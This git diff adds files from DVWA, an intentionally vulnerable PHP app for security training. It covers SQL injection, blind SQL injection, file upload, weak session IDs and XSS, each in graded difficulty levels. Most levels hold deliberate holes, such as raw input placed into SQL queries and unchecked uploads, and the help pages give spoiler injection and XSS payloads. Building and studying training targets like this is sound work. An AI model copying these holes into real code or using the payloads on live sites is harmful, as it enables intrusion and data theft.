    diff --git a/DVWA/vulnerabilities/sqli/index.php b/DVWA/vulnerabilities/sqli/index.php new file mode 100644 index 00000000..886692a6 --- /dev/null +++ b/DVWA/vulnerabilities/sqli/index.php @@ -0,0 +1,82 @@ + +

    Vulnerability: SQL Injection

    + +
    "; +if( $vulnerabilityFile == 'high.php' ) { + $page[ 'body' ] .= "Click here to change your ID."; +} +else { + $page[ 'body' ] .= " +
    +

    + User ID:"; + if( $vulnerabilityFile == 'medium.php' ) { + $page[ 'body' ] .= "\n "; + } + else + $page[ 'body' ] .= "\n "; + + $page[ 'body' ] .= "\n +

    \n"; + + if( $vulnerabilityFile == 'impossible.php' ) + $page[ 'body' ] .= " " . tokenField(); + + $page[ 'body' ] .= " +
    "; +} +$page[ 'body' ] .= " + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/SQL_Injection' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://bobby-tables.com/' ) . "
    • +
    +\n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/sqli/session-input.php b/DVWA/vulnerabilities/sqli/session-input.php new file mode 100644 index 00000000..715f55ec --- /dev/null +++ b/DVWA/vulnerabilities/sqli/session-input.php @@ -0,0 +1,32 @@ +

    "; + $page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}


    "; + $page[ 'body' ] .= ""; +} + +$page[ 'body' ] .= " +
    + + +
    +
    +
    + +"; + +dvwaSourceHtmlEcho( $page ); + +?> + + diff --git a/DVWA/vulnerabilities/sqli/source/high.php b/DVWA/vulnerabilities/sqli/source/high.php new file mode 100644 index 00000000..996eee12 --- /dev/null +++ b/DVWA/vulnerabilities/sqli/source/high.php @@ -0,0 +1,53 @@ +Something went wrong.' ); + + // Get results + while( $row = mysqli_fetch_assoc( $result ) ) { + // Get values + $first = $row["first_name"]; + $last = $row["last_name"]; + + // Feedback for end user + $html .= "
    ID: {$id}
    First name: {$first}
    Surname: {$last}
    "; + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); + break; + case SQLITE: + global $sqlite_db_connection; + + $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; + #print $query; + try { + $results = $sqlite_db_connection->query($query); + } catch (Exception $e) { + echo 'Caught exception: ' . $e->getMessage(); + exit(); + } + + if ($results) { + while ($row = $results->fetchArray()) { + // Get values + $first = $row["first_name"]; + $last = $row["last_name"]; + + // Feedback for end user + $html .= "
    ID: {$id}
    First name: {$first}
    Surname: {$last}
    "; + } + } else { + echo "Error in fetch ".$sqlite_db->lastErrorMsg(); + } + break; + } +} + +?> diff --git a/DVWA/vulnerabilities/sqli/source/impossible.php b/DVWA/vulnerabilities/sqli/source/impossible.php new file mode 100644 index 00000000..ff9effcb --- /dev/null +++ b/DVWA/vulnerabilities/sqli/source/impossible.php @@ -0,0 +1,65 @@ +prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); + $data->bindParam( ':id', $id, PDO::PARAM_INT ); + $data->execute(); + $row = $data->fetch(); + + // Make sure only 1 result is returned + if( $data->rowCount() == 1 ) { + // Get values + $first = $row[ 'first_name' ]; + $last = $row[ 'last_name' ]; + + // Feedback for end user + $html .= "
    ID: {$id}
    First name: {$first}
    Surname: {$last}
    "; + } + break; + case SQLITE: + global $sqlite_db_connection; + + $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' ); + $stmt->bindValue(':id',$id,SQLITE3_INTEGER); + $result = $stmt->execute(); + $result->finalize(); + if ($result !== false) { + // There is no way to get the number of rows returned + // This checks the number of columns (not rows) just + // as a precaution, but it won't stop someone dumping + // multiple rows and viewing them one at a time. + + $num_columns = $result->numColumns(); + if ($num_columns == 2) { + $row = $result->fetchArray(); + + // Get values + $first = $row[ 'first_name' ]; + $last = $row[ 'last_name' ]; + + // Feedback for end user + $html .= "
    ID: {$id}
    First name: {$first}
    Surname: {$last}
    "; + } + } + + break; + } + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/sqli/source/low.php b/DVWA/vulnerabilities/sqli/source/low.php new file mode 100644 index 00000000..6d84afc3 --- /dev/null +++ b/DVWA/vulnerabilities/sqli/source/low.php @@ -0,0 +1,56 @@ +' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); + + // Get results + while( $row = mysqli_fetch_assoc( $result ) ) { + // Get values + $first = $row["first_name"]; + $last = $row["last_name"]; + + // Feedback for end user + $html .= "
    ID: {$id}
    First name: {$first}
    Surname: {$last}
    "; + } + + mysqli_close($GLOBALS["___mysqli_ston"]); + break; + case SQLITE: + global $sqlite_db_connection; + + #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); + #$sqlite_db_connection->enableExceptions(true); + + $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; + #print $query; + try { + $results = $sqlite_db_connection->query($query); + } catch (Exception $e) { + echo 'Caught exception: ' . $e->getMessage(); + exit(); + } + + if ($results) { + while ($row = $results->fetchArray()) { + // Get values + $first = $row["first_name"]; + $last = $row["last_name"]; + + // Feedback for end user + $html .= "
    ID: {$id}
    First name: {$first}
    Surname: {$last}
    "; + } + } else { + echo "Error in fetch ".$sqlite_db->lastErrorMsg(); + } + break; + } +} + +?> diff --git a/DVWA/vulnerabilities/sqli/source/medium.php b/DVWA/vulnerabilities/sqli/source/medium.php new file mode 100644 index 00000000..7dab403e --- /dev/null +++ b/DVWA/vulnerabilities/sqli/source/medium.php @@ -0,0 +1,59 @@ +' . mysqli_error($GLOBALS["___mysqli_ston"]) . '' ); + + // Get results + while( $row = mysqli_fetch_assoc( $result ) ) { + // Display values + $first = $row["first_name"]; + $last = $row["last_name"]; + + // Feedback for end user + $html .= "
    ID: {$id}
    First name: {$first}
    Surname: {$last}
    "; + } + break; + case SQLITE: + global $sqlite_db_connection; + + $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; + #print $query; + try { + $results = $sqlite_db_connection->query($query); + } catch (Exception $e) { + echo 'Caught exception: ' . $e->getMessage(); + exit(); + } + + if ($results) { + while ($row = $results->fetchArray()) { + // Get values + $first = $row["first_name"]; + $last = $row["last_name"]; + + // Feedback for end user + $html .= "
    ID: {$id}
    First name: {$first}
    Surname: {$last}
    "; + } + } else { + echo "Error in fetch ".$sqlite_db->lastErrorMsg(); + } + break; + } +} + +// This is used later on in the index.php page +// Setting it here so we can close the database connection in here like in the rest of the source scripts +$query = "SELECT COUNT(*) FROM users;"; +$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    ' ); +$number_of_rows = mysqli_fetch_row( $result )[0]; + +mysqli_close($GLOBALS["___mysqli_ston"]); +?> diff --git a/DVWA/vulnerabilities/sqli/test.php b/DVWA/vulnerabilities/sqli/test.php new file mode 100644 index 00000000..aaadf8e5 --- /dev/null +++ b/DVWA/vulnerabilities/sqli/test.php @@ -0,0 +1,14 @@ +"; +} +?> diff --git a/DVWA/vulnerabilities/sqli_blind/cookie-input.php b/DVWA/vulnerabilities/sqli_blind/cookie-input.php new file mode 100644 index 00000000..d4234ea8 --- /dev/null +++ b/DVWA/vulnerabilities/sqli_blind/cookie-input.php @@ -0,0 +1,31 @@ +

    "; + $page[ 'body' ] .= ""; +} + +$page[ 'body' ] .= " +
    + + +
    +
    +
    + +"; + +dvwaSourceHtmlEcho( $page ); + +?> + + diff --git a/DVWA/vulnerabilities/sqli_blind/help/help.php b/DVWA/vulnerabilities/sqli_blind/help/help.php new file mode 100644 index 00000000..e1212cc4 --- /dev/null +++ b/DVWA/vulnerabilities/sqli_blind/help/help.php @@ -0,0 +1,62 @@ +
    +

    Help - SQL Injection (Blind)

    + +
    + + + + +
    +

    About

    +

    When an attacker executes SQL injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL query's syntax is incorrect. + Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, + they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. + An attacker can still steal data by asking a series of True and False questions through SQL statements, and monitoring how the web application response + (valid entry retunred or 404 header set).

    + +

    "time based" injection method is often used when there is no visible feedback in how the page different in its response (hence its a blind attack). + This means the attacker will wait to see how long the page takes to response back. If it takes longer than normal, their query was successful.

    + +


    + +

    Objective

    +

    Find the version of the SQL database software through a blind SQL attack.

    + +


    + +

    Low Level

    +

    The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are able + to execute any SQL query they wish.

    +
    Spoiler: ?id=1' AND sleep 5&Submit=Submit.
    + +
    + +

    Medium Level

    +

    The medium level uses a form of SQL injection protection, with the function of + "". + However due to the SQL query not having quotes around the parameter, this will not fully protect the query from being altered.

    + +

    The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form.

    +
    Spoiler: ?id=1 AND sleep 3&Submit=Submit.
    + +
    + +

    High Level

    +

    This is very similar to the low level, however this time the attacker is inputting the value in a different manner. + The input values are being set on a different page, rather than a GET request.

    +
    Spoiler: ID: 1' AND sleep 10&Submit=Submit.
    +			Spoiler: Should be able to cut out the middle man..
    + +
    + +

    Impossible Level

    +

    The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer, + and has distinguish which sections are code, and the rest is data.

    +
    + +
    + +
    + +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/sqli_blind/index.php b/DVWA/vulnerabilities/sqli_blind/index.php new file mode 100644 index 00000000..5c4bfb5e --- /dev/null +++ b/DVWA/vulnerabilities/sqli_blind/index.php @@ -0,0 +1,97 @@ +The PHP function \"Magic Quotes\" is enabled."; +} +// Is PHP function safe_mode enabled? +if( ini_get( 'safe_mode' ) == true ) { + $WarningHtml .= "
    The PHP function \"Safe mode\" is enabled.
    "; +} + +$page[ 'body' ] .= " +
    +

    Vulnerability: SQL Injection (Blind)

    + + {$WarningHtml} + +
    "; +if( $vulnerabilityFile == 'high.php' ) { + $page[ 'body' ] .= "Click here to change your ID."; +} +else { + $page[ 'body' ] .= " +
    +

    + User ID:"; + if( $vulnerabilityFile == 'medium.php' ) { + $page[ 'body' ] .= "\n "; + } + else + $page[ 'body' ] .= "\n "; + + $page[ 'body' ] .= "\n +

    \n"; + + if( $vulnerabilityFile == 'impossible.php' ) + $page[ 'body' ] .= " " . tokenField(); + + $page[ 'body' ] .= " +
    "; +} +$page[ 'body' ] .= " + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/Blind_SQL_Injection' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://bobby-tables.com/' ) . "
    • +
    +
    \n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/sqli_blind/source/high.php b/DVWA/vulnerabilities/sqli_blind/source/high.php new file mode 100644 index 00000000..985ac155 --- /dev/null +++ b/DVWA/vulnerabilities/sqli_blind/source/high.php @@ -0,0 +1,63 @@ + 0); // The '@' character suppresses errors + } catch(Exception $e) { + $exists = false; + } + } + + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); + break; + case SQLITE: + global $sqlite_db_connection; + + $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; + try { + $results = $sqlite_db_connection->query($query); + $row = $results->fetchArray(); + $exists = $row !== false; + } catch(Exception $e) { + $exists = false; + } + + break; + } + + if ($exists) { + // Feedback for end user + $html .= '
    User ID exists in the database.
    '; + } + else { + // Might sleep a random amount + if( rand( 0, 5 ) == 3 ) { + sleep( rand( 2, 4 ) ); + } + + // User wasn't found, so the page wasn't! + header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); + + // Feedback for end user + $html .= '
    User ID is MISSING from the database.
    '; + } +} + +?> diff --git a/DVWA/vulnerabilities/sqli_blind/source/impossible.php b/DVWA/vulnerabilities/sqli_blind/source/impossible.php new file mode 100644 index 00000000..67ba79c5 --- /dev/null +++ b/DVWA/vulnerabilities/sqli_blind/source/impossible.php @@ -0,0 +1,65 @@ +prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); + $data->bindParam( ':id', $id, PDO::PARAM_INT ); + $data->execute(); + + $exists = $data->rowCount(); + break; + case SQLITE: + global $sqlite_db_connection; + + $stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' ); + $stmt->bindValue(':id',$id,SQLITE3_INTEGER); + $result = $stmt->execute(); + $result->finalize(); + if ($result !== false) { + // There is no way to get the number of rows returned + // This checks the number of columns (not rows) just + // as a precaution, but it won't stop someone dumping + // multiple rows and viewing them one at a time. + + $num_columns = $result->numColumns(); + if ($num_columns == 1) { + $row = $result->fetchArray(); + + $numrows = $row[ 'numrows' ]; + $exists = ($numrows == 1); + } + } + break; + } + + } + + // Get results + if ($exists) { + // Feedback for end user + $html .= '
    User ID exists in the database.
    '; + } else { + // User wasn't found, so the page wasn't! + header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); + + // Feedback for end user + $html .= '
    User ID is MISSING from the database.
    '; + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/sqli_blind/source/low.php b/DVWA/vulnerabilities/sqli_blind/source/low.php new file mode 100644 index 00000000..dd04a8e8 --- /dev/null +++ b/DVWA/vulnerabilities/sqli_blind/source/low.php @@ -0,0 +1,57 @@ + 0); + } catch(Exception $e) { + $exists = false; + } + } + ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); + break; + case SQLITE: + global $sqlite_db_connection; + + $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; + try { + $results = $sqlite_db_connection->query($query); + $row = $results->fetchArray(); + $exists = $row !== false; + } catch(Exception $e) { + $exists = false; + } + + break; + } + + if ($exists) { + // Feedback for end user + $html .= '
    User ID exists in the database.
    '; + } else { + // User wasn't found, so the page wasn't! + header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); + + // Feedback for end user + $html .= '
    User ID is MISSING from the database.
    '; + } + +} + +?> diff --git a/DVWA/vulnerabilities/sqli_blind/source/medium.php b/DVWA/vulnerabilities/sqli_blind/source/medium.php new file mode 100644 index 00000000..95b9a82a --- /dev/null +++ b/DVWA/vulnerabilities/sqli_blind/source/medium.php @@ -0,0 +1,54 @@ + 0); // The '@' character suppresses errors + } catch(Exception $e) { + $exists = false; + } + } + + break; + case SQLITE: + global $sqlite_db_connection; + + $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; + try { + $results = $sqlite_db_connection->query($query); + $row = $results->fetchArray(); + $exists = $row !== false; + } catch(Exception $e) { + $exists = false; + } + break; + } + + if ($exists) { + // Feedback for end user + $html .= '
    User ID exists in the database.
    '; + } else { + // Feedback for end user + $html .= '
    User ID is MISSING from the database.
    '; + } +} + +?> diff --git a/DVWA/vulnerabilities/upload/help/help.php b/DVWA/vulnerabilities/upload/help/help.php new file mode 100644 index 00000000..9ef48a75 --- /dev/null +++ b/DVWA/vulnerabilities/upload/help/help.php @@ -0,0 +1,54 @@ +
    +

    Help - File Upload

    + +
    + + + + +
    +

    About

    +

    Uploaded files represent a significant risk to web applications. The first step in many attacks is to get some code to the system to be attacked. + Then the attacker only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.

    + +

    The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system, forwarding attacks to backend systems, + and simple defacement. It depends on what the application does with the uploaded file, including where it is stored.

    + +


    + +

    Objective

    +

    Execute any PHP function of your choosing on the target system (such as + or ) thanks to this file upload vulnerability.

    + +


    + +

    Low Level

    +

    Low level will not check the contents of the file being uploaded in any way. It relies only on trust.

    +
    Spoiler: Upload any valid PHP file with command in it.
    + +
    + +

    Medium Level

    +

    When using the medium level, it will check the reported file type from the client when its being uploaded.

    +
    Spoiler: Worth looking for any restrictions within any "hidden" form fields.
    + +
    + +

    High Level

    +

    Once the file has been received from the client, the server will try to resize any image that was included in the request.

    +
    Spoiler: need to link in another vulnerability, such as file inclusion.
    + +
    + +

    Impossible Level

    +

    This will check everything from all the levels so far, as well then to re-encode the image. This will make a new image, therefor stripping + any "non-image" code (including metadata).

    +
    + +
    + +
    + +

    Reference:

    +
    + diff --git a/DVWA/vulnerabilities/upload/index.php b/DVWA/vulnerabilities/upload/index.php new file mode 100644 index 00000000..149ccec7 --- /dev/null +++ b/DVWA/vulnerabilities/upload/index.php @@ -0,0 +1,75 @@ +Incorrect folder permissions: {$PHPUploadPath}
    Folder is not writable."; +} +// Is PHP-GD installed? +if( ( !extension_loaded( 'gd' ) || !function_exists( 'gd_info' ) ) ) { + $WarningHtml .= "
    The PHP module GD is not installed.
    "; +} + +$page[ 'body' ] .= " +
    +

    Vulnerability: File Upload

    + + {$WarningHtml} + +
    +
    + + Choose an image to upload:

    +
    +
    + \n"; + +if( $vulnerabilityFile == 'impossible.php' ) + $page[ 'body' ] .= " " . tokenField(); + +$page[ 'body' ] .= " +
    + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.acunetix.com/websitesecurity/upload-forms-threat/' ) . "
    • +
    +
    "; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/upload/source/high.php b/DVWA/vulnerabilities/upload/source/high.php new file mode 100644 index 00000000..7dfa80d2 --- /dev/null +++ b/DVWA/vulnerabilities/upload/source/high.php @@ -0,0 +1,35 @@ +Your image was not uploaded.'; + } + else { + // Yes! + $html .= "
    {$target_path} succesfully uploaded!
    "; + } + } + else { + // Invalid file + $html .= '
    Your image was not uploaded. We can only accept JPEG or PNG images.
    '; + } +} + +?> diff --git a/DVWA/vulnerabilities/upload/source/impossible.php b/DVWA/vulnerabilities/upload/source/impossible.php new file mode 100644 index 00000000..376f75aa --- /dev/null +++ b/DVWA/vulnerabilities/upload/source/impossible.php @@ -0,0 +1,62 @@ +{$target_file} succesfully uploaded!"; + } + else { + // No + $html .= '
    Your image was not uploaded.
    '; + } + + // Delete any temp files + if( file_exists( $temp_file ) ) + unlink( $temp_file ); + } + else { + // Invalid file + $html .= '
    Your image was not uploaded. We can only accept JPEG or PNG images.
    '; + } +} + +// Generate Anti-CSRF token +generateSessionToken(); + +?> diff --git a/DVWA/vulnerabilities/upload/source/low.php b/DVWA/vulnerabilities/upload/source/low.php new file mode 100644 index 00000000..85ffa081 --- /dev/null +++ b/DVWA/vulnerabilities/upload/source/low.php @@ -0,0 +1,19 @@ +Your image was not uploaded.'; + } + else { + // Yes! + $html .= "
    {$target_path} succesfully uploaded!
    "; + } +} + +?> diff --git a/DVWA/vulnerabilities/upload/source/medium.php b/DVWA/vulnerabilities/upload/source/medium.php new file mode 100644 index 00000000..bb902701 --- /dev/null +++ b/DVWA/vulnerabilities/upload/source/medium.php @@ -0,0 +1,33 @@ +Your image was not uploaded.'; + } + else { + // Yes! + $html .= "
    {$target_path} succesfully uploaded!
    "; + } + } + else { + // Invalid file + $html .= '
    Your image was not uploaded. We can only accept JPEG or PNG images.
    '; + } +} + +?> diff --git a/DVWA/vulnerabilities/view_help.php b/DVWA/vulnerabilities/view_help.php new file mode 100644 index 00000000..65236730 --- /dev/null +++ b/DVWA/vulnerabilities/view_help.php @@ -0,0 +1,40 @@ +' . file_get_contents( DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/{$id}/help/help.php" ) . '' . file_get_contents( DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/{$id}/help/help.{$locale}.php" ) . 'Not Found

    "; +} + +$page[ 'body' ] .= " + + + +
    + {$help} +
    \n"; + +dvwaHelpHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/view_source.php b/DVWA/vulnerabilities/view_source.php new file mode 100644 index 00000000..16c99cd3 --- /dev/null +++ b/DVWA/vulnerabilities/view_source.php @@ -0,0 +1,103 @@ +vulnerabilities/{$id}/source/{$security}.js +
    + + + + +
    " . highlight_string( $js_source, true ) . "
    +
    + "; + } + + $page[ 'body' ] .= " +
    +

    {$vuln} Source

    + +

    vulnerabilities/{$id}/source/{$security}.php

    +
    + + + + +
    " . highlight_string( $source, true ) . "
    +
    + {$js_html} +

    + +
    + +
    +
    \n"; +} else { + $page['body'] = "

    Not found

    "; +} + +dvwaSourceHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/view_source_all.php b/DVWA/vulnerabilities/view_source_all.php new file mode 100644 index 00000000..876de367 --- /dev/null +++ b/DVWA/vulnerabilities/view_source_all.php @@ -0,0 +1,122 @@ + +

    {$vuln}

    +
    + +

    Impossible {$vuln} Source

    + + + + +
    {$impsrc}
    +
    + +

    High {$vuln} Source

    + + + + +
    {$highsrc}
    +
    + +

    Medium {$vuln} Source

    + + + + +
    {$medsrc}
    +
    + +

    Low {$vuln} Source

    + + + + +
    {$lowsrc}
    +

    + +
    + +
    + + \n"; +} else { + $page['body'] = "

    Not found

    "; +} + +dvwaSourceHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/weak_id/help/help.php b/DVWA/vulnerabilities/weak_id/help/help.php new file mode 100644 index 00000000..e0087f41 --- /dev/null +++ b/DVWA/vulnerabilities/weak_id/help/help.php @@ -0,0 +1,40 @@ +
    +

    Help - Weak Session IDs

    + +
    + + + + +
    +

    About

    +

    Knowledge of a session ID is often the only thing required to access a site as a specific user after they have logged in, if that session ID is able to be calculated or easily guessed, then an attacker will have an easy way to gain access to user accounts without having to brute force passwords or find other vulnerabilities such as Cross-Site Scripting.

    + +


    + +

    Objective

    +

    This module uses four different ways to set the dvwaSession cookie value, the objective of each level is to work out how the ID is generated and then infer the IDs of other system users.

    + +


    + +

    Low Level

    +

    The cookie value should be very obviously predictable.

    + +

    Medium Level

    +

    The value looks a little more random than on low but if you collect a few you should start to see a pattern.

    + +

    High Level

    +

    First work out what format the value is in and then try to work out what is being used as the input to generate the values.

    +

    Extra flags are also being added to the cookie, this does not affect the challenge but highlights extra protections that can be added to protect the cookies.

    + + +

    Impossible Level

    +

    The cookie value should not be predictable at this level but feel free to try.

    +

    As well as the extra flags, the cookie is being tied to the domain and the path of the challenge.

    +
    + +
    + +

    Reference:

    +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/weak_id/index.php b/DVWA/vulnerabilities/weak_id/index.php new file mode 100644 index 00000000..72dc94cd --- /dev/null +++ b/DVWA/vulnerabilities/weak_id/index.php @@ -0,0 +1,61 @@ + +

    Vulnerability: Weak Session IDs

    +

    + This page will set a new cookie called dvwaSession each time the button is clicked.
    +

    +
    + +
    + +$html + +EOF; + +/* +Maybe display this, don't think it is needed though +if (isset ($cookie_value)) { + $page[ 'body' ] .= << diff --git a/DVWA/vulnerabilities/weak_id/source/high.php b/DVWA/vulnerabilities/weak_id/source/high.php new file mode 100644 index 00000000..7740434d --- /dev/null +++ b/DVWA/vulnerabilities/weak_id/source/high.php @@ -0,0 +1,14 @@ + diff --git a/DVWA/vulnerabilities/weak_id/source/impossible.php b/DVWA/vulnerabilities/weak_id/source/impossible.php new file mode 100644 index 00000000..28f39ccc --- /dev/null +++ b/DVWA/vulnerabilities/weak_id/source/impossible.php @@ -0,0 +1,9 @@ + diff --git a/DVWA/vulnerabilities/weak_id/source/low.php b/DVWA/vulnerabilities/weak_id/source/low.php new file mode 100644 index 00000000..20a9ae68 --- /dev/null +++ b/DVWA/vulnerabilities/weak_id/source/low.php @@ -0,0 +1,13 @@ + diff --git a/DVWA/vulnerabilities/weak_id/source/medium.php b/DVWA/vulnerabilities/weak_id/source/medium.php new file mode 100644 index 00000000..c19212c7 --- /dev/null +++ b/DVWA/vulnerabilities/weak_id/source/medium.php @@ -0,0 +1,9 @@ + diff --git a/DVWA/vulnerabilities/xss_d/help/help.php b/DVWA/vulnerabilities/xss_d/help/help.php new file mode 100644 index 00000000..df4a53bf --- /dev/null +++ b/DVWA/vulnerabilities/xss_d/help/help.php @@ -0,0 +1,58 @@ +
    +

    Help - Cross Site Scripting (DOM Based)

    + +
    + + + + +
    +

    About

    +

    "Cross-Site Scripting (XSS)" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. + XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, + to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output, + without validating or encoding it.

    + +

    An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, + and will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other + sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

    + +

    DOM Based XSS is a special case of reflected where the JavaScript is hidden in the URL and pulled out by JavaScript in the page while it is rendering rather than being embedded in the page when it is served. This can make it stealthier than other attacks and WAFs or other protections which are reading the page body do not see any malicious content.

    + +


    + +

    Objective

    +

    Run your own JavaScript in another user's browser, use this to steal the cookie of a logged in user.

    + +


    + +

    Low Level

    +

    Low level will not check the requested input, before including it to be used in the output text.

    +
    Spoiler: alert(1)")?>.
    + +


    + +

    Medium Level

    +

    The developer has tried to add a simple pattern matching to remove any references to "<script" to disable any JavaScript. Find a way to run JavaScript without using the script tags.

    +
    Spoiler: You must first break out of the select block then you can add an image with an onerror event:
    +/option>");?>
    .
    + +


    + +

    High Level

    +

    The developer is now white listing only the allowed languages, you must find a way to run your code without it going to the server.

    +
    Spoiler: The fragment section of a URL (anything after the # symbol) does not get sent to the server and so cannot be blocked. The bad JavaScript being used to render the page reads the content from it when creating the page.
    +alert(1)")?>
    .
    + +


    + +

    Impossible Level

    +

    The contents taken from the URL are encoded by default by most browsers which prevents any injected JavaScript from being executed.

    +
    + +
    + +
    + +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/xss_d/index.php b/DVWA/vulnerabilities/xss_d/index.php new file mode 100644 index 00000000..955b1a70 --- /dev/null +++ b/DVWA/vulnerabilities/xss_d/index.php @@ -0,0 +1,79 @@ + +

    Vulnerability: DOM Based Cross Site Scripting (XSS)

    + +
    + +

    Please choose a language:

    + +
    + + +
    +
    +EOF; + +$page[ 'body' ] .= " +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/xss/' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/DOM_Based_XSS' ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://www.acunetix.com/blog/articles/dom-xss-explained/' ) . "
    • +
    +\n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/xss_d/source/high.php b/DVWA/vulnerabilities/xss_d/source/high.php new file mode 100644 index 00000000..dd5416cb --- /dev/null +++ b/DVWA/vulnerabilities/xss_d/source/high.php @@ -0,0 +1,20 @@ + diff --git a/DVWA/vulnerabilities/xss_d/source/impossible.php b/DVWA/vulnerabilities/xss_d/source/impossible.php new file mode 100644 index 00000000..8900c0ee --- /dev/null +++ b/DVWA/vulnerabilities/xss_d/source/impossible.php @@ -0,0 +1,5 @@ + diff --git a/DVWA/vulnerabilities/xss_d/source/low.php b/DVWA/vulnerabilities/xss_d/source/low.php new file mode 100644 index 00000000..3fab08dd --- /dev/null +++ b/DVWA/vulnerabilities/xss_d/source/low.php @@ -0,0 +1,5 @@ + diff --git a/DVWA/vulnerabilities/xss_d/source/medium.php b/DVWA/vulnerabilities/xss_d/source/medium.php new file mode 100644 index 00000000..fd719ad1 --- /dev/null +++ b/DVWA/vulnerabilities/xss_d/source/medium.php @@ -0,0 +1,14 @@ + diff --git a/DVWA/vulnerabilities/xss_r/help/help.php b/DVWA/vulnerabilities/xss_r/help/help.php new file mode 100644 index 00000000..4f82bc61 --- /dev/null +++ b/DVWA/vulnerabilities/xss_r/help/help.php @@ -0,0 +1,57 @@ +
    +

    Help - Cross Site Scripting (Reflected)

    + +
    + + + + +
    +

    About

    +

    "Cross-Site Scripting (XSS)" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. + XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, + to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output, + without validating or encoding it.

    + +

    An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, + and will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other + sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

    + +

    Because its a reflected XSS, the malicious code is not stored in the remote web application, so requires some social engineering (such as a link via email/chat).

    + +


    + +

